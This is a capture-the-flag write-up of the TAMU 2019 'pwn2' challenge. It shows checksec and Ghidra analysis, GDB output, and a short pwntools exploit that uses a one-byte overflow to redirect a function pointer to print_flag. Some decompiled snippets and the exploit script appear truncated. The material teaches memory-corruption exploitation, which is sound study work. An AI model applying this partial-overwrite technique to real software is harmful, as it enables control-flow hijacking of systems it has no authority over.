tamu 2019 pwn2

The goal of this challenge is to get the challenge to print the contents of flag.txt, not popping a shell.

Let's take a look at the binary:

$    file pwn2
pwn2: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=c3936da4c051f1ca58585ee8b243bc9c4a37e437, not stripped
$    pwn checksec pwn2
[*] '/Hackery/pod/modules/partial_overwrite/tamu19_pwn2/pwn2'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
$    ./pwn2
Which function would you like to call?

So we can see that we are dealing with a 32 bit binary, with Relro, NX, and PIE. When we run it, it prompts us for input.


When we take a look at the main function in Ghidra, we see this:

/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

undefined4 main(void)

  char input [31];
  setvbuf(stdout,(char *)0x2,0,0);
  puts("Which function would you like to call?");
  return 0;

So we can see that it calls gets to scan in data into input (so we have one buffer overflow bug there). Before returning it passes our input to the select_func function:

/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

void select_func(char *param_1)

  int cmp;
  char input [30];
  undefined *functionCall;
  cmp = strcmp(input,"one");
  functionCall = two;
  if (cmp == 0) {
    functionCall = one;
  (*(code *)functionCall)();

So we can see here, it makes an indirect call of the instruction pointer stored in functionCall. It is initialized to the function two, and if our input starts with one\x00 it will be changed to the address of the function one. The first 0x1f (31) bytes of our input passed in as an argument in copied to the char buffer input, which can only hold 30 bytes. This gives us a one byte overflow, which will allow us to overwrite the least significant byte of functionCall.

Also one other thing, a bit of the disassembly here is wrong. Specifically where functionCall is initialized to be the address of two. When we look at the assembly code, we see that it happens before the strncpy call:

        00010791 8d 83 f5        LEA        EAX,[0xffffe6f5 + EBX]=>two
                 e6 ff ff
        00010797 89 45 f4        MOV        dword ptr [EBP + functionCall],EAX=>two
        0001079a 83 ec 04        SUB        ESP,0x4
        0001079d 6a 1f           PUSH       0x1f
        0001079f ff 75 08        PUSH       dword ptr [EBP + param_1]
        000107a2 8d 45 d6        LEA        EAX=>input,[EBP + -0x2a]
        000107a5 50              PUSH       EAX
        000107a6 e8 a5 fd        CALL       strncpy                                          char * strncpy(char * __dest, ch
                 ff ff

Also we can see that if we can call the function print_flag at offset 0x6d8, we get the flag.

/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

void print_flag(void)

  FILE *__fp;
  int iVar1;
  puts("This function is still under development.");
  __fp = fopen("flag.txt","r");
  while( true ) {
    iVar1 = _IO_getc((_IO_FILE *)__fp);
    if ((char)iVar1 == -1) break;


So we have a one byte overflow for the least significant byte of the function pointer that is called. Let's take a closer look at the address we are calling, and the address of print_flag:

gef➤  pie b *0x7d4
gef➤  pie run
Stopped due to shared library event (no libraries added or removed)
Which function would you like to call?

Breakpoint 1, 0x565557d4 in select_func ()
[+] base address 0x56555000
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x56555631  →  <register_tm_clones+49> add BYTE PTR [eax], al
$ebx   : 0x56556fb8  →  0x00001ec0
$ecx   : 0x6f      
$edx   : 0xffffd09e  →  "1111111111111111111111111111111VUV"
$esp   : 0xffffd090  →  0x00000000
$ebp   : 0xffffd0c8  →  0xffffd108  →  0x00000000
$esi   : 0xf7fb5000  →  0x001dbd6c
$edi   : 0xf7fb5000  →  0x001dbd6c
$eip   : 0x565557d4  →  <select_func+85> call eax
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd090│+0x0000: 0x00000000     ← $esp
0xffffd094│+0x0004: 0x0000000a
0xffffd098│+0x0008: 0x00000026 ("&"?)
0xffffd09c│+0x000c: 0x3131de24
0xffffd0a0│+0x0010: "11111111111111111111111111111VUV"
0xffffd0a4│+0x0014: "1111111111111111111111111VUV"
0xffffd0a8│+0x0018: "111111111111111111111VUV"
0xffffd0ac│+0x001c: "11111111111111111VUV"
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
   0x565557c3 <select_func+68> adc    BYTE PTR [ebp-0x72f68a40], al
   0x565557c9 <select_func+74> sbb    DWORD PTR [edi+eiz*8+0x4589ffff], 0xfffffff4
   0x565557d1 <select_func+82> mov    eax, DWORD PTR [ebp-0xc]
 → 0x565557d4 <select_func+85> call   eax
   0x565557d6 <select_func+87> nop    
   0x565557d7 <select_func+88> mov    ebx, DWORD PTR [ebp-0x4]
   0x565557da <select_func+91> leave  
   0x565557db <select_func+92> ret    
   0x565557dc <main+0>         lea    ecx, [esp+0x4]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
*0x56555631 (
   [sp + 0x0] = 0x00000000,
   [sp + 0x4] = 0x0000000a,
   [sp + 0x8] = 0x00000026,
   [sp + 0xc] = 0x3131de24
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "pwn2", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x565557d4 → select_func()
[#1] 0x5655583d → main()
gef➤  p $eax
$1 = 0x56555631
gef➤  p two
$2 = {<text variable, no debug info>} 0x565556ad <two>
gef➤  p print_flag
$3 = {<text variable, no debug info>} 0x565556d8 <print_flag>
gef➤  vmmap
Start      End        Offset     Perm Path
0x56555000 0x56556000 0x00000000 r-x /Hackery/pod/modules/partial_overwrite/tamu19_pwn2/pwn2
0x56556000 0x56557000 0x00000000 r-- /Hackery/pod/modules/partial_overwrite/tamu19_pwn2/pwn2
0x56557000 0x56558000 0x00001000 rw- /Hackery/pod/modules/partial_overwrite/tamu19_pwn2/pwn2
0x56558000 0x5657a000 0x00000000 rw- [heap]
0xf7dd9000 0xf7df6000 0x00000000 r-- /usr/lib/i386-linux-gnu/libc-2.29.so
0xf7df6000 0xf7f46000 0x0001d000 r-x /usr/lib/i386-linux-gnu/libc-2.29.so
0xf7f46000 0xf7fb2000 0x0016d000 r-- /usr/lib/i386-linux-gnu/libc-2.29.so
0xf7fb2000 0xf7fb3000 0x001d9000 --- /usr/lib/i386-linux-gnu/libc-2.29.so
0xf7fb3000 0xf7fb5000 0x001d9000 r-- /usr/lib/i386-linux-gnu/libc-2.29.so
0xf7fb5000 0xf7fb7000 0x001db000 rw- /usr/lib/i386-linux-gnu/libc-2.29.so
0xf7fb7000 0xf7fb9000 0x00000000 rw-
0xf7fce000 0xf7fd0000 0x00000000 rw-
0xf7fd0000 0xf7fd3000 0x00000000 r-- [vvar]
0xf7fd3000 0xf7fd4000 0x00000000 r-x [vdso]
0xf7fd4000 0xf7fd5000 0x00000000 r-- /usr/lib/i386-linux-gnu/ld-2.29.so
0xf7fd5000 0xf7ff1000 0x00001000 r-x /usr/lib/i386-linux-gnu/ld-2.29.so
0xf7ff1000 0xf7ffb000 0x0001d000 r-- /usr/lib/i386-linux-gnu/ld-2.29.so
0xf7ffc000 0xf7ffd000 0x00027000 r-- /usr/lib/i386-linux-gnu/ld-2.29.so
0xf7ffd000 0xf7ffe000 0x00028000 rw- /usr/lib/i386-linux-gnu/ld-2.29.so
0xfffdd000 0xffffe000 0x00000000 rw- [stack]

So we can see that we were able to overwrite the least significant byte with 0x31. The address that it is initialized to is 0x565556ad, and the address we want to set it to is 0x565556d8 (for print_flag). The difference between these two is just the least significant byte. So we can just overwrite the least significant byte to be 0xd8, and that will call print_flag. We can see that the PIE base is 0x56555000, and since the least significant byte of the base is 0x00 PIE's randomization doesn't apply to the least significant byte (since 0x00 plus the least significant byte of the PIE offset is whatever the least significant byte of the offset is).


Putting it all together, we have the following exploit:

from pwn import *

# Declare the target
target = process('./pwn2')
#gdb.attach(target, gdbscript='pie b *0x7bc')

# Make and send the payload
payload = "0"*0x1e + "\xd8"


When we run it:

$    python exploit.py
[+] Starting local process './pwn2': pid 11453
[*] Switching to interactive mode
Which function would you like to call?
This function is still under development.

[*] Got EOF while reading in interactive

Just like that, we got the flag!